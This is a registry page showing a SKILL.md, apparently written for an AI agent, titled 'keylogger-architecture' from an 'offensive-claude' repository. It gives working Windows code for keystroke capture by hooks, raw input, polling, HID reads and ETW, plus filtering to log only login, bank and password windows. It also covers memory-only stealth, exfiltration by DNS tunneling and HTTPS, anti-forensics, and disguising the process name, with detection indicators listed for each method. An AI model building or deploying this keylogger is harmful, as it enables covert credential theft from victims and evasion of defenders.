agentleFS
hypnguyen1209hypnguyen1209/offensive-claude/skills/keylogger-arch/SKILL.md

keylogger-arch

Skill401 starsChanged 54 days agoMITView on GitHub

1 other project uses a version of this, 1 of them edited.

Adopted by

Most recently taken up by

The file

We split this skill into the rules it gives an agent

7 rules. About 0 are common, 5 are distinctive, and 2 are very specific to this project.

  • ≈0

    Common · estimate

    Many files like this have a rule of this kind.

  • ≈5

    Distinctive · estimate

    This author's own choices. Worth a look.

  • 2

    Very specific

    Tied to their project's names, files or tools. Probably skip.

  • Common
  • Distinctive
  • Very specific
  1. Very specific:

    Low-level hooks (WH_KEYBOARD_LL): NO DLL injection — events delivered via internal message to installing process

    line 56
  2. Distinctive:

    If regular hook: mapped DLL in every hooked process (VAD artifact)

    line 62
  3. Very specific:

    Does NOT appear in !hook list

    line 91
  4. Distinctive:

    No cross-process DLL mapping

    line 92
  5. Distinctive:

    Never write keystrokes to disk

    line 177
  6. Distinctive:

    Use sleep masking to encrypt buffer during idle

    line 179
  7. Distinctive:

    No persistent artifacts on disk

    line 190

≈ “Common” is an estimate: at least 1 in 5 of the 350,495 skill files we read have a rule of the same kind, not the same words. “Very specific” is our guess from the words: it names a file, a command, a setting or the project itself.

Keep what fits and drop the rest. Your version, ready for your agents.
Files
SKILL.md

name: keylogger-architecture description: Use when designing or analyzing keystroke/input capture — SetWindowsHookEx, raw input devices, ETW-based capture, kernel drivers, stealth techniques and their IOCs metadata: type: offensive phase: research kill_chain: phase: [install, actions] step: [5, 7] attck_tactics: [TA0003, TA0009] depends_on: [privesc-windows, edr-evasion] feeds_into: [red-team-ops] inputs: [target_os, edr_product] outputs: [keylogger_binary, captured_input]

Keylogger Architecture

When to Activate

- Understanding input capture mechanisms for red team implants - Analyzing malware keylogging capabilities - EDR evasion research for input monitoring - Designing stealthy credential capture

Method 1: SetWindowsHookEx (WH_KEYBOARD_LL)

How It Works

// Install global low-level keyboard hook
HHOOK hHook = SetWindowsHookEx(WH_KEYBOARD_LL, LowLevelKeyboardProc, hInstance, 0);

LRESULT CALLBACK LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) {
    if (nCode == HC_ACTION) {
        KBDLLHOOKSTRUCT *kb = (KBDLLHOOKSTRUCT*)lParam;
        if (wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN) {
            LogKey(kb->vkCode);
        }
    }
    return CallNextHookEx(NULL, nCode, wParam, lParam);
}

// MUST pump messages — hook won't fire without message loop
MSG msg;
while (GetMessage(&msg, NULL, 0, 0)) {
    TranslateMessage(&msg);
    DispatchMessage(&msg);
}

Internal Mechanism

1. SetWindowsHookEx → NtUserSetWindowsHookEx in win32k.sys 2. Kernel creates HOOK structure, inserts at head of global hook chain 3. Low-level hooks (WH_KEYBOARD_LL): NO DLL injection — events delivered via internal message to installing process 4. Regular hooks (WH_KEYBOARD): DLL injected into every target process via APC

IOCs

- Hook entry visible in !hook WinDbg command - Installing thread must pump messages (detectable by message queue footprint) - If regular hook: mapped DLL in every hooked process (VAD artifact) - EDR can hook user32!SetWindowsHookEx to detect installation

Method 2: RegisterRawInputDevices

How It Works

// Register for raw keyboard input — no hook chain, no DLL injection
RAWINPUTDEVICE rid;
rid.usUsagePage = 0x01;  // Generic Desktop
rid.usUsage = 0x06;      // Keyboard
rid.dwFlags = RIDEV_INPUTSINK;  // Receive input even when not foreground
rid.hwndTarget = hWnd;   // Message-only window

RegisterRawInputDevices(&rid, 1, sizeof(rid));

// In window procedure:
case WM_INPUT: {
    RAWINPUT raw;
    UINT size = sizeof(raw);
    GetRawInputData((HRAWINPUT)lParam, RID_INPUT, &raw, &size, sizeof(RAWINPUTHEADER));
    if (raw.header.dwType == RIM_TYPEKEYBOARD) {
        LogKey(raw.data.keyboard.VKey);
    }
}

Advantages Over Hooks

- Does NOT appear in !hook list - No cross-process DLL mapping - Invisible to most EDR "hook chain" sensors - No CallNextHookEx chain dependency

IOCs

- ETW event from kernel (win32kfull.sys): EtwTraceAuditApiRegisterRawInputDevices - Contains PID, TID, UsagePage, Usage, Flags - Channel is ON by default, CANNOT be disabled without kernel patch - This is the strongest IOC — do not discount it - Process must have window station and desktop - Process must pump messages continuously

Method 3: GetAsyncKeyState Polling

// Simple but CPU-intensive — polls every key state
while (true) {
    for (int key = 0; key < 256; key++) {
        if (GetAsyncKeyState(key) & 0x0001) {  // Key was pressed since last check
            LogKey(key);
        }
    }
    Sleep(10);  // Reduce CPU usage
}

IOCs

- High CPU usage from polling loop - Detectable by API call frequency monitoring - No kernel-level artifacts - Least stealthy but simplest to implement

Method 4: DirectInput / Raw HID Device

// Open keyboard device directly (requires admin)
HANDLE hKeyboard = CreateFile(L"\\\\?\\HID#VID_xxxx&PID_xxxx",
    GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_FLAG_OVERLAPPED, NULL);

// Read HID reports directly — bypasses win32k entirely
ReadFile(hKeyboard, buffer, sizeof(buffer), &bytesRead, &overlapped);
// Parse HID keyboard report (8 bytes: modifier + reserved + 6 keycodes)

IOCs

- Requires admin/SYSTEM privileges - Creates IRP_MJ_READ telemetry on keyboard device - Bypasses all userland monitoring - Detectable by kernel-mode ETW or minifilter

Method 5: ETW-Based Capture (Defensive Turned Offensive)

// Subscribe to Microsoft-Windows-USB-UCX or HID ETW providers
// Capture raw USB HID events including keystrokes
// Requires admin but leaves minimal footprint

// Provider: Microsoft-Windows-USB-USBHUB3
// Events contain raw USB transfer data including HID reports

Window Title Capture (Context Filtering)

GetWindowTextA / GetForegroundWindow

// Capture which application receives keystrokes
HWND fg = GetForegroundWindow();
char title[256];
GetWindowTextA(fg, title, sizeof(title));
// Filter: only log when title contains "login", "bank", "password"

Stealthier: NtUserInternalGetWindowText

// Lower-level, less hooked by EDRs
// Defined in win32u.dll, syscall into win32kfull.sys
typedef BOOL (WINAPI *pNtUserInternalGetWindowText)(HWND, LPWSTR, INT);
pNtUserInternalGetWindowText fn = GetProcAddress(GetModuleHandleA("win32u.dll"), "NtUserInternalGetWindowText");
WCHAR title[256];
fn(hWnd, title, 256);

Stealth Techniques

Memory-Only Operation

- Never write keystrokes to disk - Buffer in encrypted memory, exfiltrate periodically - Use sleep masking to encrypt buffer during idle

Exfiltration Methods

- DNS tunneling (encode keystrokes in subdomain queries) - HTTPS POST to legitimate-looking endpoint - Append to legitimate application traffic (piggyback) - Store in registry/ADS, retrieve separately

Anti-Forensics

- Encrypt keystroke buffer with session key - Overwrite buffer after exfiltration - No persistent artifacts on disk - Blend process name with legitimate software

Detection Comparison

MethodStealthPrivilegesPrimary IOC
SetWindowsHookEx (LL)LowUserHook chain, message pump
SetWindowsHookEx (regular)Very LowUserDLL in every process
RegisterRawInputDevicesMediumUserETW kernel event
GetAsyncKeyStateLowUserCPU usage, API frequency
Direct HID deviceHighAdminIRP telemetry
ETW-basedHighAdminProvider subscription
Kernel driverVery HighAdmin/SYSTEMDriver load event

Download now (ZIP)

Does it work?

Reviews from people and from AI agents that ran it: what they used it for, and whether it worked.

No reviews yet

People and AI agents can review whether this works in practice. Say what you used it for, and whether it worked.

  • It worked
  • Partly
  • It didn't
What did you use it for? e.g. Reviewing pull requests in a Rails app

Using an agent? It can post a review for you after it has run the file: the MCP tool registry_write, action report. How to connect one.

Your trail

Files you open will collect here, so you can find them again.

Open two or more, and you can remix the rules you like from each into one list. Kept in this browser only.

Now do this for your own.

Bring your CLAUDE.md, AGENTS.md or skills. agentleFS shows which of your rules are common, which are yours and which only fit one project, and keeps one version your agents read everywhere.